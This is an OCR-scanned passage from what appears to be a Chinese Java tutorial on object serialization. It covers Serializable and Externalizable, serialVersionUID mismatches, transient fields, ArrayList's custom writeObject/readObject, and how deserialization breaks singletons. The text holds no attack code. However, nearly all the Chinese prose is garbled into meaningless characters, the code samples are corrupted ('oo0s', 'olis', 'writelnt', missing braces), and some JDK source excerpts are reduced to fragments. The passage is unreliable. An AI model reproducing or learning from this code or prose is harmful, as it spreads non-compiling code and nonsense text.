* SerializableDemol 45#& SerializableDemo2 Wil —ANZREEAYL P HIML AL Serial
izable #

=/
public class SerializableDemol {

public static void main (String[] args) {
//Initializes The Object
Userl user = new Userl ()
user.setName ("hollis") ;
user.setAge (23);

System.out.println (user) ;

//Write Obj to File
ObjectOutputStream oos = null;
try {
00s = new ObjectOutputStream(new FileOutputStream ("tempFile"));
oos.writeObject (user) ;
} catch (IOException e) {
e.printStackTrace () ;
} finally {
IOUtils.closeQuietly (oo0s) ;



//Read Obj from File

File file = new File("tempFile");
ObjectInputStream ois = null;
try {

olis = new ObjectInputStream(new FileInputStream(file));

Userl newUser = (Userl) ois.readObject () ;
System.out.println (newUser) ;

} catch (IOException e) {
e.printStackTrace () ;

} catch (ClassNotFoundException e) {
e.printStackTrace () ;

} finally {
IOUtils.closeQuietly(ois);
try {

FileUtils.forceDelete(file);

} catch (IOException e) {

e.printStackTrace () ;

//0OutPut:
//User{name="hollis', age=23}
//User{name="hollis', age=23}

Externalizable &0

f%7 Serializable 24, java Pt 75— FIMEO Externalizable,

KT THR Externalizable 070 Serializable #OMX3, 5%£ERE, BiHE LR

OB AR EF Externalizable B9 o

package com.hollischaung.serialization.ExternalizableDemos;

import java.io.Externalizable;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;

/**
* Created by hollis on 16/2/17.
* Sl Externalizable #H
WY

public class Userl implements Externalizable {

252
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private String name;

private int age;

public String getName () {

return name;

public void setName (String name)

this.name = name;

public int getAge () {
return age;

public void setAge (int age) {
this.age = age;

public void writeExternal (ObjectOutput out)

public void readExternal (ObjectInput in)

ndException {

@Override
public String toString () {
return "User{" +
"name='" + name + "\''
", age=" + age +

v}v;

+

throws IOException {

throws IOException, ClassNotFou

package com.hollischaung.serialization.ExternalizableDemos;

import java.io.*;

/**

* Created by hollis on 16/2/17.

*/

public class ExternalizableDemol {

/ /AT BT EER B REE, B0 ERIE MRS R . RS T A ZED

//IOException B

public static void main (String[]

Exception ({

//Write Obj to file

args)

throws IOException, ClassNotFound
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ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream
("tempFile"));

Userl user = new Userl();

user.setName ("hollis");

user.setAge (23) ;

oos.writeObject (user) ;

//Read Obj from file

File file = new File("tempFile");

ObjectInputStream ois = new ObjectInputStream(new FileInputStream (f
ile));

Userl newlInstance = (Userl) ois.readObject () ;

//output

System.out.println (newInstance) ;

}
//0OutPut:
//User{name="null', age=0}

B EEASEAIRT LA, X User! R TRI R R BRI BB RIS RAFRE
BHRYEESEL T EAME . BFiRIR, ZRIFIBNNIRAPRSHISERISAK TR XHE
Externalizable £ [#0 Serializable #EORIX5Y:

Externalizable #7# 7 Serializable, Z#EOREN TR MK TGIE: witeExternal
(5 readbExternal() . XfER Externalizable EORHITFIC SR FIULHIIHEEE
EARES writebxternal()5 readbxternal() k. BF EEORES, FEBEXHED
FEFRENFIMCEEIAT, FrliatiRsA= .. 2E—SEETE: &£ Externali
zable H#17FRIULAIAT R, TEREISRAT, SEBEFIINERITSITERECIE—NHRY
MR, AEBBEREENRNFERIVEDIEREIFXRP . LA, LW Externalizable
BEORERVRERE— public WESHINEIESE

RIBEREKNZFABNT:

package com.hollischaung.serialization.ExternalizableDemos;

import java.io.Externalizable;
import java.io.IOException;
import java.io.ObjectInput;

import java.io.ObjectOutput;

/*‘k

* Created by hollis on 16/2/17.

* SZHl Externalizable #% M, 752 writeExternal fll readExternal J7ik
@/
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public class User2 implements Externalizable {

private String name;

private int age;

public String getName () {

return name;

public void setName (String name) {

this.name = name;

public int getAge () {
return age;

public void setAge (int age) {

this.age = age;

public void writeExternal (ObjectOutput out) throws IOException {
out.writeObject (name) ;
out.writelnt (age);

public void readExternal (ObjectInput in) throws IOException, ClassNotFou
ndException {
name = (String) in.readObject();
age = in.readInt () ;

@Override
public String toString ()
return "User{" +
"name='" + name + '\'' +

, age=" + age +

v}v,.

package com.hollischaung.serialization.ExternalizableDemos;
import java.io.*;

/**
* Created by hollis on 16/2/17.
%/

public class ExternalizableDemo?2 {

[/ TART BRI A RS, 208 G PR R E R B SO . HIESwASET T A A E I
//IOException BT
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public static void main(String[] args) throws IOException, ClassNotFound

Exception ({

//Write Obj to file

ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream
("tempFile")) ;

User?2 user = new User2();

user.setName ("hollis") ;

user.setAge (23) ;

oos.writeObject (user) ;

//Read Obj from file

File file = new File("tempFile");

ObjectInputStream ois = new ObjectInputStream(new FileInputStream (f
ile));

User2 newlInstance = (User2) ois.readObject () ;

//output

System.out.println (newInstance) ;

}

}
//OutPut:

//User{name="hollis', age=23}

R, AHALUEZ BIRIISIREIFANLTRT .

AR User KFRELSHIIEERE, miTHEMEEE: avaiolnvalidClass

Exception

s

HEBER
B#z Java JRFIIN
Java FHIHHISIIAR

IR

AADHT Java BRI S RFSIE
BHSEILAIBRLE)L

Serializable 1 Externalizable B{aARE


https://zh.wikipedia.org/wiki/%E5%BA%8F%E5%88%97%E5%8C%96
http://www.blogjava.net/jiangshachina/archive/2012/02/13/369898.html
https://www.ibm.com/developerworks/cn/java/j-lo-serial/
http://www.hollischuang.com/archives/1140
http://www.hollischuang.com/archives/1144

257 > Ak

Java FRISEET L EOLSAERIICINE, RSCIEN
RIS LR EE IS T E R FI It .

A FIUEERRIFRE TR B AR BE 2R LAY .

IR GRBTTESFR,  (XATFTIRREFIMEANENX .

SIHEN—PRETFICARNR, WRERAZES EORXMR.
FLERT, ¥

MRBFIMLRIEERE, BREIPEEREPENILEFANTE, BBAKE
tBRIZEERY #M.

VA , ZEXHAENTEIMHMRAIE:
5 o HfEH EORS TR SRFY
RIRHEEEF A ARES writeExternal()5 readExternal() 5%,

NRRBEEXENEPENFIEEIMAT, AR ZRE, TRABAZ.
s Externalizable # X AYZEMRERR M — public IESHIEISEEE .

PRLA, 23R , FFEM il J3EAJLARE
EFRTIMCHLLE M

AR RBI RV E BRI s & I RITTE .

BAIEFNE, Java WREBHEFE JVM AUERTRR, R, R JVMER
FET, BARBEIREBERT .

MmEFIRET —f7n%E, FLOHRERME JVM ERIIER FEREEXNRERE TR
9775, AMEEAIFEAI U 22—, € Java IRFINCE A FEsERATRR (a0
TSR ), REEXM. X, SEAFTEXTIRANHE,  MSHEZER
HOHEIR, BN EERPRFEIMEEIR .
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BR, EMNESRIFRFINL, FHMUEBURTEREZMINERBESE -, —1F
FEBEN—RERTEFIIC ID 25—, & R

FERTRFICES, JVM SEBERRIFTHiRFRY serialVersionUID SRR LR

e TR, WRBEREUANE—ER, UL TRFIIK, &
W= EMFIHRAS—HRIZE, BIR o

XA T RIERE, RAXHFEFIRSIEREN.

Z5cH EOREXKEEMEN —1 LET
&, Java FRIIUASISIRIERIFRY Class BaiER— ((SEZTE AN

EbERRA, XMERT, WR ClassXERBAEDMN, MEBRmFEZ X, serialVers
ionUID tBAEZT{EAY .

B2, WRAETEZMN, BRAXNIEXINAY M EREZMN.

EFULEFREE, WRBEN—NRSLIUT Serializable O, EREBEEX
, REFIW. EFIWZE, BTFRELEE, FHIXHZEMTEE
B, E=ERmINARE, HIIENZeIFRIMINSHETRFIICHNERSIRE .

<

*F o XNMNFRIREMHAE? NRFEBEBLEAM? A
( Java FFAFM ) FELUTHE:

10. [5EH]] FPA st m s, A ES N serialversionUID B, BERURFAJG
Woe A MAET R, BRRFFMGRELL, IEAEEN serialVersionUID {H.
PiiH: VERE serialVersionUID A—E &l 5 4L iE 1T B 9 .

ERAR

Serializable #1 Externalizable

ESEINSBY] EOUBRERIICINGE . REEMILZEORISEE T
BITFRYIER I . RIFPIERRIPTE FEEL A B EE R FIILAY.
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WRiEEET ROIERS, MEEWM, MRERE— 1 THEO, BEEAAKRA
%8B, Serializable #ORBERHIESRFER, (XAFIRRATRIMANEN . B2, BIR—
KgELMXNMED, BEHFICEIE, it

Ale,
=3

R EARIERELH TZZORIT5 AT RS TR SR FHICAINE?
RRRERITFIICRNTRES, SHRITRILITMES:

if (obj instanceof String) {
writeString ((String) obj, unshared);
} else if (cl.isArray()) {
writeArray (obj, desc, unshared);
} else 1if (obj instanceof Enum) {
writeEnum ( (Enum<?>) obj, desc, unshared);
} else if (obj instanceof Serializable) ({
writeOrdinaryObject (obj, desc, unshared);
} else {
if (extendedDebugInfo) {
throw new NotSerializableException (

cl.getName () + "\n" + debugInfoStack.toString());

} else {
throw new NotSerializableException (cl.getName ())
}
}
FEHITRIMIRIERY, SHMERFINIERES R . 0

KRB, NREARNEREZEE

Java PRy EO, AL ST eRIzHFRY1aE
L E=| , ZEOFEX TRIMHEREE:
5 o
HFEA EOXRBTRIUCERFINCHHBRSERAARES
5 Fit. BUFBZENEESZTHINNME
Transient

KEFIERAREFIZENFIL, FEERAERMNLEZXEST, AJLELE
ZEEWFINEINEF, EERFIINE, TENEBERIVRE, W int B
E O, STFREAIZE null,
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BE X FIIRES

EFRIGIRES, MNRERIMEHIZESFEN T writeObject #1 readObject 3%, E
PN SR EVERIISREER witcObject #1 readObject ik, #HTHEPBETEXHFYE
RFEIE

MREEXHENEZE, MBINBABRR ObjectOutputStream
defaultWriteObject 75i£LAK ObjectinputStream B defaultReadObject 5%,

FAFBEMXRY writeObject # readObject BRI LASIFRFEHIFIILAZRE, Lt
AR LA RS MR AZ R aN S EE R ML RIS E

FRLA, 39 F— LSk F R B E F I RISREE A0 R , ST LAE [E(F A transient &1,
FHESEE writeObject #M readObject A%, @ java.util. ArraylList PstE RIS .

HABEFEHK L Java FLE T FIIWEEORIZE, 90 String. Integer &, FHAITTLAA
W—NMAT, BRRiRXLER T LW T Serializable 48, EENX T — serialVersionUlD,

s String
java.io.Serializable, Comparable<String>, CharSequence {

[1;

A, BERMAARZ serialVersionUID I8? AT ABIREXEFE—1FEIR?

42 serialVersionUID

IR RI RPN BRI Bl RS E WA lRIIRE . FefIERRNE, Java X
KEFRFE JVM BHEREFPRY, Bk, IR JVMERFET, BANREMIEEH
%7 o

MFFIRM T —Ff5%E, JLALREREE JVM EHRYIER P RIET FHRAY
B, SEERIIFRBR U &8, 1€ Java WRFIMLAEIFEEERAOR (=3
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FIm ), LRANRFAEN MR . X, SRRFBEX MXIRAIIHE, MIZHRIZEE —H#EIR

BN THEIRFSRFICHIIR

TR EARTFRFII, MEUVATRBRANERIBEE 8, — M FEEEN—
REMPTENFIE ID 2E—K, XPEFBRIFIIME ID, SEFIEREHE XA

serialVersionUID,

WNER serialVersionUID T T7TLER

HMZENMOIFIE, BEUWR serialVersionU|D B 7T RREMTA?

public class SerializableDemol ({
public static void main (String[] args) {

//Initializes The Object
Userl user = new Userl ()
user.setName ("hollis") ;
//Write Obj to File
ObjectOutputStream oos = null;
try {

oos = new ObjectOutputStream(new FileOutputStream ("tempFile")) ;

oos.writeObject (user) ;

} catch (IOException e) {
e.printStackTrace () ;

} finally {
IOUtils.closeQuietly (oos) ;

class Userl implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
public String getName () {
return name;
}
public void setName (String name) {

this.name = name;

BAERITIALERED, I8 User! WRBEAEI4 . AFFRANEN—T User! £,

& serialVersionUID BHEXS 2L o



FIME < 262

class Userl implements Serializable ({
private static final long serialVersionUID = 2L;
private String name;
public String getName () {
return name;
}
public void setName (String name) {

this.name = name;

RRPATLATREE, IEXEPRNRRFIICTE:

public class SerializableDemo2 ({
public static void main(String[] args) {
//Read Obj from File
File file = new File ("tempFile");
ObjectInputStream ois = null;
try {
olis = new ObjectInputStream(new FileInputStream(file));
Userl newUser = (Userl) ois.readObject();
System.out.println (newUser) ;
} catch (IOException e) {
e.printStackTrace () ;
} catch (ClassNotFoundException e) {
e.printStackTrace () ;
} finally {
IOUtils.closeQuietly(ois);
try {
FileUtils.forceDelete (file);
} catch (IOException e) {
e.printStackTrace () ;

PATEERINT:

java.io.InvalidClassException: com.hollis.Userl; local class incompatible:

stream classdesc serialVersionUID = 1, local class serialVersionUID = 2

FLAAT, UERB#HE T— java.io lnvalidClassException, F#BIBH
serialVersionUID 7—%4.
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XEEN, EHITRFIMERS, JVM SEERIFTIRTAY 57K
HOAER SEARSERY HTHR, MRBERFNANR—EHE, TLRITREFS

t, BUMRSERFIRAIF—HRIZE, B2

o

XtE (Java ARFM) +ME, EFRBUEARTD, EESEEHHE, FEEXL
HIRE . BRIFRETRBAIRRA . PLL, A
SLEWIEMRA—EIERY

NREERCGH, FTLUES TMRAR JDK ACHBEZHEE—T, BB T RERIZEAY
ERBTMIIAY. tLan String A9 —E#E

B2, FEL\A, XNMIGEESSEA LB E—L, BRENE:

R—NETMT Z=0O, SMemFNHMm—"
TE, AEREVIRE.

St AERBHfaE— serialVersionUID

MRFTAVKBERFBHBHIEL —T RiE, BEEEREN A,
SHEBNLEA demo KB, BEABUTEEXN —THR, ZEFFEX
, BEBEAXH.

class Userl implements Serializable {
private String name;
public String getName () {
return name;
}
public void setName (String name) {
this.name = name;

}

REFANEY User! 25, MEFIENII—NEM . EEVBEMNSEFIZEER, Fift
1TRFIIL
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class Userl implements Serializable ({

private String name;

private int age;

public String getName () {
return name;

}

public void setName (String name) {
this.name = name;

}

public int getAge () {
return age;

}

public void setAge (int age) {
this.age = age;

}

WITEER: java.io.lnvalidClassException: com.hollis.User1; local class inco
mpatible: stream classdesc serialVersionUID = —2986778152837257883, loca
| class serialVersionUID = 7961728318907695402

B, T InvalidClassException, FEBHEA serialVersionUID A&, 525!
=&—2986778152837257883 1 7961728318907695402,
MNXEBRILIEL, RFEBSHNT— serialVersionUlD,

FrLA, —BZESLIT Serializable, gEBINBBIBAIEN — serialVersionUlD . 54
MR R, IakERE.

serialVersionUID B ERIER S —2BARI L, tban: private static
final long serialVersionUID = 1L; Z2RIBEE . OB KRG ERBHMERER—
N 64 (UMRE=FER, thin: private static final long serialVersionUID = xxxxL;

[EEXMSEC, BILMER IDE £6k, FEENE.

BRERE
FMER, BINERLA, BIIBREBERE, 2H— T4 serialVersionUlD &
IS ZE? EREBEHENBERT, BOAR serialVersionUD 2 EBA4AXN?

ATEMRIEE, REFEFMCAIERMENT:
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ObjectinputStream.readObject —> readObject0 —> readOrdinaryObject —> re

adClassDesc —> readNonProxyDesc —> ObjectStreamClass.initNonProxy

£ initNonProxy g1, L30T :

i initNonProxy(ObjectStreamClass model
Cla
Cla
ObjectStreamClass superDesc)
InvalidClassException

Long.valueOf(model.getSerialVersionUID())
eamClass osc =
s
ookup(cl, )
: [ ) A
InvalidClassException(

(model. 1= psc. )
InvalidClassException(model.

(model. 3 = DSC. &
Icl.isArray() &&
suid != posc.getSerialVersionUID()) {
InvalidClassException(osc.
+

osc.getSerialVersionUID())

(!classNamesEqual (model. 0scC. )) {
InvalidClassException(osc.

+ model.

( Imodel. ) {
( (model. 1 = 0SC.
(model. ; 1= psc.
InvalidClassException(osc.

( (model. e != osc.
(model. 1= 0SCat
! (model.se! || model.
. ExceptionInfo(
0SC.

ERFIWERES, % serialVersionUID #TEE:, MNRAMAES, UEENES
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EANE—F getSerialVersionUID J5i%:

public long getSerialVersionUID() {
// REMIND: synchronize instead of relying on volatile?
if (suid == null) {
suid = AccessController.doPrivileged(
new PrivilegedAction<Long> () {
public Long run() {
return computeDefaultSUID(cl) ;

)i
}

return suid.longValue() ;

EEBATEN serialVersionUID BIBHE, S8R computeDefaultSUID 7ai%k, &E—
NERIARY serialVersionUID,

XBHHEHE T LA ERAN BRI, HSLERIE T et
IDEA &7

ATHIRBAIFESCEN serialVersionUlD, AJLUAT—T Intellij IDEA HIEZE,
ESLY] Serializable #BOR, MREENX serialVersionUID #9iE, IDEA ( eclipse —#¢)

ST

Userl Serializable {

'User?’ does not define a 'serialVersionUID' field more... (88F1)

String ()

(String name) 2 = name

FEAU—EER—:

Userl imples ; Serializable {
® Add 'serialVersionUID' field »
7 »

2C subcl
# Add Javadoc
¥ Make 'public'

(String name)
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SR, RPBEEHAFERINERRY, FEFNE IDEA PIE—T:

FEHFRE 3 g9t ( Serializable class without serialVersionUID B9B2E ) , J
3, ®REFRIA,

ISt

serialVersionUlD 2BREIEMRA—EIMER . FRLAEMEES SRR R, FENZT
b serial\VersionUID BYE,

WNER—ESLH T Serializable #0, —EEICBENX serialVersionUlD, Bllsk
S8, JUZE IDEGBEIRE, ILMHEICR T, FETJU—#BRELER —1

serialVersionUID,

ZFUERERE, RRARFICIRETH TR, FRNKRKEHBENAE, &
RIERAVBEBNER— -
I REIRIE

PR —MNRISANNFR . SBNAENEEE . RMIFipRH . AEIS
#r ArrayList RIFFIEERN R Java FIICRITERAS . EEERFILATIL N E:

BEASLW Java HIESIL?
RAASEIT java.io.Serializable O A BE# F54L?
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transient BIYEAAZRHA?

BABENFINERRE?
BENX RIS 20 #5E FBRY ?
Arraylist X FIMLBISCIMB HALFRL?

Java JIFHIFSIE

Java FERWEIIERFFEETER Java R, E—RERT, REZH VM
STFIETTRY, XLEERIRA A RETFE, B, XEIRAVEGBRIAREE VM BEG EHIEK
(BEMENAEF, MAEERE JVM EILETZEEBREFFGAN)BEINR, HES
REFNZHRERFAIINR . Java MRFIULHEEIEHE BT ISLINATIRE

£F Java RFIML, HRENRE, SEERSFREN—EBFT, 0K, BEX
EFHRERIIR. YINEEME, WRFIMLRFRIZNRAVIRE", BIERIAREE.
FLERTA, WRFIIUASRERFRIFHSEE

PR T ERFANISKE S BREINRFIZ 5, 2R RMIGEIESZERA), siEMzs
EIEIRET, #SARINRFIML . Java I APl AR FIIGIRAL T — MR
#, Z API @S85,

WNMalxd Java JRHITFEIN S RFESIE

£ Java s, RE— LMY O, AR LRI .
XBAR—EA:

code 1 8liE—1 User 25, BFRFIIURRFSIE

package com.hollis;
import java.io.Serializable;
import java.util.Date;

/**
* Created by hollis on 16/2/2.
*/
public class User implements Serializable(
private String name;
private int age;
private Date birthday;
private transient String gender;
private static final long serialVersionUID = -6849794470754667710L;
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public String getName () {

return name;

public void setName (String name) {
this.name = name;

public int getAge () {

return age;

public void setAge (int age) {
this.age = age;

public Date getBirthday () {
return birthday;

public void setBirthday (Date birthday) {
this.birthday = birthday;

public String getGender ()
return gender;

public void setGender (String gender) {
this.gender = gender;

@Override
public String toString ()
return "User{" +

"name='" + name + '\'' +
", age=" + age +
", gender=" + gender +
", birthday=" + birthday +
"1

}

code 2 XF User 1Tk & R FEFI{LE) Demopackage com.hollis;
import org.apache.commons.io.FileUtils;

import org.apache.commons.io.IOUtils;

import java.io.*;

import java.util.Date;

/**
* Created by hollis on 16/2/2.
*/
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public class SerializableDemo {

public static void main (String[] args) {
//Initializes The Object
User user = new User();
user.setName ("hollis") ;
user.setGender ("male") ;
user.setAge (23) ;
user.setBirthday (new Date()) ;
System.out.println (user) ;

//Write Obj to File
ObjectOutputStream oos = null;
try {
00s = new ObjectOutputStream(new FileOutputStream ("tempFile"));
oos.writeObject (user) ;
} catch (IOException e) {
e.printStackTrace () ;
} finally {
IOUtils.closeQuietly (oo0s) ;

//Read Obj from File
File file = new File ("tempFile");
ObjectInputStream ois = null;
try {
olis = new ObjectInputStream(new FileInputStream(file));
User newUser = (User) ois.readObject();
System.out.println (newUser) ;
} catch (IOException e) {
e.printStackTrace () ;
} catch (ClassNotFoundException e) {
e.printStackTrace () ;
} finally {
IOUtils.closeQuietly(ois);
try {
FileUtils.forceDelete (file) ;
} catch (IOException e) {
e.printStackTrace () ;

}

//output

//User{name="'hollis', age=23, gender=male, birthday=Tue Feb 02 17:37:38 CST
2016}

//User{name="hollis', age=23, gender=null, birthday=Tue Feb 02 17:37:38 CST
2016}
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FRAE R FrE AR R RNIR

1.7 Java i, RE— L0l Y =0, BAECHH USRI .
2. B il IIRIFITRIIR 2 FD
%o

3. EMNEERRFIML, MMUEUATRIREMEABRE—H, — M IFEEE
M—RE2R T ENFIM ID BE—H (2

) o
4. FIHANMREHSEE.
5. BIEREIRBFIIL, BRI #0.

6. Transient XEFRWERZREHEENFIIL, EXEFPERINILZXET, AL
PBEIEZEZSWFIICEINHF, ERRFIMLE, transient TERVEHRIRAYRE, W0
int 2292 0, XMREAKIZ null,

7. BRSRIBEZFIRAEFIIUTREIE, WRPE—LEHFESEVERI, LLaER=
RS, BEXZEEFREFRIMLE, HITINE, MEFIRINRBERENER, RE%
Pt TR FIULRT , AR LARSEZ R TIZE, XL —ERERIEFITRIETE
£,

o 3R

ArrayList B9FFFHL

ENE Arraylist B Z BT, FeREE—EE:
WM BE XA FEIUCFIR FEF SRS ?
ma XN, HAIRE java.util. ArrayList BTRS:

code 3

public class ArrayList<E> extends AbstractList<E>
implements List<E>, RandomAccess, Cloneable, java.io.Serializable
{
private static final long serialVersionUID = 8683452581122892189L;
transient Object[] elementData; // non-private to simplify nested class
access
private int size;

}
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EEEBTHMRRATE, NLtEORKBFTLIFE ArrayList TH]T
java.io.Serializable 0, BAKIMMATUN EHITFINCERFIW. BB
elementData 2 transient 89, FALABRNTARNRX N REEFASEFIIUIMRE K. &
15— Demo, IIF—TREAIAEX:

code 4

public static void main (String[] args) throws IOException, ClassNotFoundExc
eption {

List<String> stringlList = new ArrayList<String>();

stringList.add("hello");

stringList.add ("world") ;

stringlList.add ("hollis");

stringList.add ("chuang") ;

System.out.println ("init StringList" + stringlList);

ObjectOutputStream objectOutputStream = new ObjectOutputStream(new F
ileOutputStream("stringlist")) ;

objectOutputStream.writeObject (stringlList) ;

IOUtils.close (objectOutputStream) ;

File file = new File("stringlist");

ObjectInputStream objectInputStream = new ObjectInputStream(new File
InputStream(file));

List<String> newStringList = (List<String>)objectInputStream.readObj
ect();

IOUtils.close (objectInputStream) ;

if(file.exists()) {

file.delete ()
}
System.out.println("new StringList" + newStringList);
}

//init StringList[hello, world, hollis, chuang]
//new StringList[hello, world, hollis, chuang]

THE ArrayList WA#HFIE, Arraylist EERBIIHASIY. IBAHE
clementData HSLpRARAEFIIFRTRITTRAY . BT iZEMHRIFRSRIAE, 2
T EZBI IR TR . BBARMA code 4 NEERAEE FINCFIR I Li
st PRITTRREE TR T Ie?

writeObject #1 readObject 5%

£ ArrayList RENX TERAFGIE: writeObject #1 readObject,
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FEFRIGSRER, NREFIIHRIZEFEN T writeObject #1 readObject 5i%, &
PN SIXEERNNREER writeObject #1 readObject 5i%, #HITREFPEENRIFY
AR FEL

ARSI E, MEHAEREE ObjectOutputStream HI defaultWriteObject
FiELIK ObjectinputStream A9 defaultReadObject 75i%.

FFBEEMXA writeObject #1 readObject iR LASSIFAPIEHIFIILRITE,
EEaneT AT A M AOIE AR P S e Y I BYEE -

RE— XA AEREASCI:
code 5

private void readObject (java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
elementData = EMPTY ELEMENTDATA;

// Read in size, and any hidden stuff
s.defaultReadObject () ;

// Read in capacity
s.readInt(); // ignored

if (size > 0) {
// be like clone(), allocate array based upon size not capacity
ensureCapacityInternal (size);

Object[] a = elementData;
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
al[i] = s.readObject();
}
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code 6

private void writeObject (java.io.ObjectOutputStream s)
throws java.io.IOException{
// Write out element count, and any hidden stuff
int expectedModCount = modCount;
s.defaultWriteObject () ;

// Write out size as capacity for behavioural compatibility with clon
s.writelnt (size);
// Write out all elements in the proper order.
for (int 1=0; i<size; 1i++) {
s.writeObject (elementDatal[i]) ;
}
if (modCount != expectedModCount) {

throw new ConcurrentModificationException () ;

}

BRABA ArrayList 2RHXM S TURSCHFRSLIE?

why transient

ArrayList SEfR_E2EIESEEE, ERERHUIRENERKIRENKEE, NREHEBR
IBREKEIR 100, MERRM T —NITx, 3R 99 4 null Jt&&. ATHRIEER
FIERIIHMEARSBIX A Z null BT TRESIL, ArraylList IB7cEEHIZE R transient,

why writeObject and readObject

BIERE, ATHIE—TMEEAETYRIBERFIL, ATIRMEME, L

{#F transient k=88 o BR, fFA—ES, EFIINIERIE
DIRRIEEPRITTEAI USIFANL TR, A, BIES 1 75

ZRY S TUHEEFRITTRARE TR

AR HAFPHNTEBHOFREFR BT (
ObjectOutputStream ) 1,
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BHiENEANR ( ObjectinputStream ) IR RFHEE
BT,

Elt, BHAEAEREIZRINER LA :

MY BEE XIS YL SRR ?

Z: gLUBSERFIIRIZEFIEIN writeObject #1 readObject /5i% . BRAIGIRRY
kT

&K ArrayList 157 writeObject #1 readObject 7i%, BREXE N EFEERE
TRE9HEE FRIN

BBAMNR— N EFE S writeObject #1 readObject J5i%, BBAXT N EREAR
ERRE?

ObjectOutputStream

Mcode 47, BAITUEL, YRAFEIIHITEEL ObjectOutputStream #1
ObjectinputputStream KLIAY, APATFENINIAYZRE, FHIKDF—T ArrayList
B9 writeObject #1 readObject 75;xZIEET#IERAITE?

ATHERE, XELH ObjectOutputStream Y writeObject IE R :

XEBE—T invokeWriteObject:

void invokeWriteObject (Object obj, ObjectOutputStream out)
throws IOException, UnsupportedOperationException
{
if (writeObjectMethod != null) {
try {
writeObjectMethod.invoke (obj, new Object[]{ out });
} catch (InvocationTargetException ex) {
Throwable th = ex.getTargetException() ;
if (th instanceof IOException) {
throw (IOException) th;
} else {
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throwMiscException (th) ;
}
} catch (IllegalAccessException ex) {
// should not occur, as access checks have been suppressed
throw new InternalError (ex);

}
} else {
throw new UnsupportedOperationException () ;

}

Hep =X, BERE
HILER writeObjectMethod Bi%x . BRERXARREXA writeObjectMethod A9:

class—defined writeObject method, or null if none

FEFRAINEIF S, XPNEFERAIE ArrayList E XA writeObject 75i% . @13 =
SIBE AR T .

ZE|It, FENEAEREZENINIREAYEIER
WNR—PEHEE writeObject #1 readObject 5i%, BFAXEN A2 EABIER
#9?

Z: 1E{#FEF ObjectOutputStream BY writeObject 737%#0 ObjectinputStream HJ
readObject 50, SBEIKREHFINEAR.

Eit, MELNBRT ArrayList WFIIHAI. B4, FHEGIRE ARLIXFRY
REia):

Serializable BABAFIE— =000, EREARER G TiZEONSES a7
S RFFIRIE?

Serializable #EZOKEN

public interface Serializable {

}

EE USRI code 1 R4 E Serializable B9IBZER, BT code 2, £t

o
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HENXMaRBREFEZ, HAIBEZEININI ObjectOutputStream A9 writeObject
AYE R :
writeObject ——=> writeObject0 ———>writeOrdinaryObject———>writeSerialData—
——>invokeWriteObject

writeObject0 AP EIXA—ELHE:

if (obj instanceof String) {
writeString ((String) obj, unshared);
} else if (cl.isArray()) {
writeArray (obj, desc, unshared);
} else if (obj instanceof Enum) {
writeEnum ( (Enum<?>) obj, desc, unshared);
} else if (obj instanceof Serializable) ({
writeOrdinaryObject (obj, desc, unshared);
} else {
if (extendedDebugInfo) {
throw new NotSerializableException (
cl.getName () + "\n" + debugInfoStack.toString());
} else {
throw new NotSerializableException (cl.getName ())

}

FEHITEIRIER, SHIMERFIIWAIZEZESRZ Enum. Array 1 Serializable
28, MRAZNEZFRE NotSerializableException,

&4 4t

1ICN=A
1TVHMR—1MEEBHFIW, FEXLH Serializable #O. FUEHH
NotSerializableException B8, XERN, ERIWRIEIEFSXEEHITIRE,
ERWFEINHIZE N FRETF Enum. Array #1 Serializable 2B EhREa—FH,

2. B EFEETN EZXET, JLRILZTSWFICEISEFF,
3. TESEFEI writeObject #1 readObject XA LASEIMBEEN FIML R .

Java RIS IIAR



https://www.ibm.com/developerworks/cn/java/j-lo-serial/
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B L) +FE Java IERBA S N B FIICRUNTBIR R EFIRT0RY, LA N(E
B 7 XS BB BIRIBEIA o

BHERN, BRIMENPHRERN— . B RFRATLURERFF— M ERIE—
LRI EIZSEEIZ THNRAEE, NS EIEAI PN EBREHH T ARRRIR . WRHBLEER
FHEN KR AGEFE—, POEXERRFIOBRSE . XTRAIECAERS,
BILABHEE

B2, SONRLERIREISSCIISLAIRIME—ES?

EREATEN, REAEMEERRITI LB RIIETC, BT RELSN, ERFIML
Sk EESEIRERS]

FrAERS BB BIURTRRIA

BERE— 1T BAIRIE:

code 1

package com.hollis;
import java.io.Serializable;
/* *
* Created by hollis on 16/2/5.
RO AR B B XS I 4
%/
public class Singleton implements Serializable{
private volatile static Singleton singleton;
private Singleton () {}
public static Singleton getSingleton () {
if (singleton == null) {
synchronized (Singleton.class) {
if (singleton == null) {
singleton = new Singleton();
}
}
}

return singleton;


http://www.hollischuang.com/archives/205
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ETRR2— R

code 2

package com.hollis;
import java.io.*;
/‘k‘k
* Created by hollis on 16/2/5.
%/
public class SerializableDemol ({
/R TAETRRAE, &R IR ERAE SOMBR S A . EIESmSI T 70 A 210
//Exception HZHMIH
public static void main (String[] args) throws IOException, ClassNotFoundEx
ception {
//Write Obj to file
ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("
tempFile"));
oos.writeObject (Singleton.getSingleton());
//Read Obj from file
File file = new File ("tempFile");

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fil
e));

Singleton newInstance = (Singleton) ois.readObject () ;

//FIWTR R R [ — X 4

System.out.prlntln(newInstance == Singleton.getSingleton());

}

}
//false

HiH LA false, 1BE:

BiZ Xt Singleton RIS R FIHEBREIPNRE2—NHBPONSR, XERT
Singleton AYERFIM4E

X2, EMBNPRRXNETR R, BAERKRADIT—T, ITFASXE? ERF
TR RIERE T 4.

ObjectinputStream

JIERHIFHIMLITFREIT ObjectOutputStream #1 ObjectinputputStream RECIHT,
AHENINIFIEE, 54— ObjectinputputStream B9 readObject HiEHRITERE
|[F A=



AT HERRE,

FIME <

XEBLAH ObjectinputStream BY readObject AYE AR

readobject

N N

readObject

read je W readOrdinaryObject

S oA

XEBE—TE2MHE, readOrdinaryObject JERMCIBEER:

code 3

private Object readOrdinaryObject (boolean unshared)
throws IOException

/ / BEAL AR s A

Object obj;
try {

obj = desc.isInstantiable() ? desc.newlInstance() : null;
} catch (Exception ex) {

throw (IOException) new InvalidClassException (
desc.forClass () .getName (),

"unable to create instance") .initCause (ex) ;

/ / BEAR AR e A

if (obj != null &&

